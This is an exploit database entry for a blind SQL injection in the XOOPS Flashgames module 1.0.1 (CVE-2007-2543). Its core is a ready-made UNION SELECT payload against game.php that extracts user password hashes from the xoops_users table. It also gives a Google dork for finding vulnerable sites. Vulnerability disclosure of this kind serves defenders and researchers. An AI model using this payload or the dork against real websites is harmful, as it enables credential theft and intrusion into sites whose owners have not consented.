XOOPS Flashgames Module 1.0.1 - Remote SQL Injection Vulnerability

2007-05-04T00:00:00
ID EDB-ID:3849
Type exploitdb
Reporter Mehmet Ince
Modified 2007-05-04T00:00:00

Description

XOOPS Flashgames Module 1.0.1 Remote SQL Injection Vulnerability. CVE-2007-2543. Webapps exploit for php platform

                                        
                                            ================================================================

Xoops Flashgames Module  1.0.1 Remote Blind SQL Injection

================================================================

Bulan: Cyber-security.org

================================================================

Exploit:
/modules/flashgames/game.php?lid=-19/**/UNION/**/SELECT/**/0,1,pass,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/**/FROM/**/xoops_users/**/LIMIT/**/1,1/*

================================================================

Google dork: inurl:modules/flashgames/

================================================================

# milw0rm.com [2007-05-04]